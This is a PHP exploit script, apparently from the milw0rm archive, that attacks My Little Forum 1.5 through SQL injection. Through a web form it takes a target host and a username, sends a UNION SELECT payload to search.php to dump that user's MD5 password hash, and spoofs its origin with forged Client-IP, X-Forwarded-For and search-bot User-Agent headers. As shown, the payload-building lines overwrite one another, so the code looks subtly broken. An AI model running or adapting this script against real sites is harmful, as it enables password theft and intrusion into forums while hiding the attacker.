<?php
# mlfexpl.php #
# #
# My Little Forum 1.5 ( possibly prior versions) SQL Injection / #
# MD5 password hash disclosure poc exploit with proxy support #
# #
# by rgod #
# site: http://rgod.altervista.org #
# #
# make these changes in php.ini if you have troubles #
# to launch this script: #
# allow_call_time_pass_reference = on #
# register_globals = on #
# #
# usage: launch this script from Apache, fill requested fields, then... #
# dump all password hashes from database right now... #
# #
# Sun-Tzu: "You can be sure of succeeding in your attacks if you only attack #
# places which are undefended. You can ensure the safety of your defense if #
# you only hold positions that cannot be attacked." #
error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout", 2);
ob_implicit_flush (1);
echo'<head><title>My Little Forum 1.5 SQL Injection </title><meta http-equiv="Co
ntent-Type" content="text/html; charset=iso-8859-1"><style type="text/css"><!--
body,td,th { color: #00FF00;} body { background-color: #000000;} .Stile5 {
font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 10px;} .Stile6{
font-family: Verdana, Arial, Helvetica, sans-serif; font-weight: bold; font-sty
le: italic; } --> </style></head> <body> <p class="Stile6"> My Little Forum 1
.5 SQL Injection </p><p class="Stile6">a script by rgod at <a href="http: //rgod
.altervista.org" target="_blank" > http://rgod.altervista.org </a> </p><table
width="84%"><tr><td width="43%"> <form name="form1" method="post" action="'
.$SERVER[PHP_SELF].'?path=value&host=value&port=value&proxy=value&username=value
"><p><input type="text" name="host"><span class="Stile5">hostname (ex: www.siten
ame.com) </span></p><p><input type="text" name="path"> <span class="Stile5">
path (ex: /mylf/ or just /) </span></p><p><input type="text" name="port" ><span
class="Stile5"> specify a port other than 80 (default value)</span></p><p><input
type="text" name="proxy"> <span class="Stile5"> send exploit through an HTTP
proxy (ip:port) </span> </p> <p> <input type="text" name="username"> <span class
="Stile5">username whom you want MD5 hash </span> </p> <p> <input type="submit"
name="Submit" value="go!"></p></form></td></tr></table></body>';
function show($headeri)
{
$ii=0;
$ji=0;
$ki=0;
$ci=0;
echo '<table border="0"><tr>';
while ($ii <= strlen($headeri)-1)
{
$datai=dechex(ord($headeri[$ii]));
if ($ji==16) {
$ji=0;
$ci++;
echo "<td> </td>";
for ($li=0; $li<=15; $li++)
{ echo "<td>".$headeri[$li+$ki]."</td>";
}
$ki=$ki+16;
echo "</tr><tr>";
}
if (strlen($datai)==1) {echo "<td>0".$datai."</td>";} else
{echo "<td>".$datai."</td> ";}
$ii++;
$ji++;
}
for ($li=1; $li<=(16 - (strlen($headeri) % 16)+1); $li++)
{ echo "<td>  </td>";
}
for ($li=$ci*16; $li<=strlen($headeri); $li++)
{ echo "<td>".$headeri[$li]."</td>";
}
echo "</tr></table>";
}
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
function sendpacket($packet,$show)
{
global $proxy, $host, $port, $html;
if ($proxy=='')
{$ock=fsockopen(gethostbyname($host),$port);}
else
{
if (!eregi($proxy_regex,$proxy))
{echo htmlentities($proxy).' -> not a valid proxy...';
die;
}
$parts=explode(':',$proxy);
echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...<br>';
$ock=fsockopen($parts[0],$parts[1]);
if (!$ock) { echo 'No response from proxy...';
die;
}
}
fputs($ock,$packet);
if ($proxy=='')
{
$html='';
while (!feof($ock))
{
$html.=fgets($ock);
}
}
else
{
$html='';
while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html)))
{
$html.=fread($ock,1);
}
}
fclose($ock);
if ($show) {echo nl2br(htmlentities($html));}
}
if (($path<>'') and ($host<>'') and ($username<>''))
{
if ($port=='') {$port=80;}
$sql="%' UNION SELECT user_pw, user_pw, user_pw, user_pw, user_pw, user_pw, user_pw, user_pw, user_pw, user_pw, user_pw";
$sql=", user_pw"; //if version is 1.6 beta, just add a comment to ths line
$sql=" FROM forum_userdata WHERE user_name='".$username."'/*";
$sql=urlencode($sql);
if ($proxy=='')
{$packet="GET ".$path."search.php?search=".$sql."&ao=phrase HTTP/1.1\r\n";}
else
{$packet="GET http://".$host.$path."search.php?search=".$sql."&ao=phrase HTTP/1.1\r\n";}
$packet.="Client-IP: 127.0.0.1\r\n";
$packet.="X-Forwarded-For: 127.0.0.1\r\n";
$packet.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/msword, */*\r\n";
$packet.="Referer: http://".$host.$path."search.php\r\n";
$packet.="Accept-Language: en\r\n";
$packet.="Accept-Encoding: gzip, deflate\r\n";
$packet.="User-Agent: Baiduspider+(+http://www.baidu.com/search/spider.htm)\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Connection: Keep-Alive\r\n\r\n";
show($packet);
sendpacket($packet,0);
$temp=explode(';<span class="category">(',$html);
$temp2=explode(')</span>',$temp[1]);
$hash=$temp2[0];
echo '<br>username: '.$username.' hash: '.$hash;
# debugging...
//echo htmlentities($html);
}
else
{
echo '<br>fill in all requested fields, optionally specify a proxy...<br>';
}
?>
# milw0rm.com [2005-09-22]
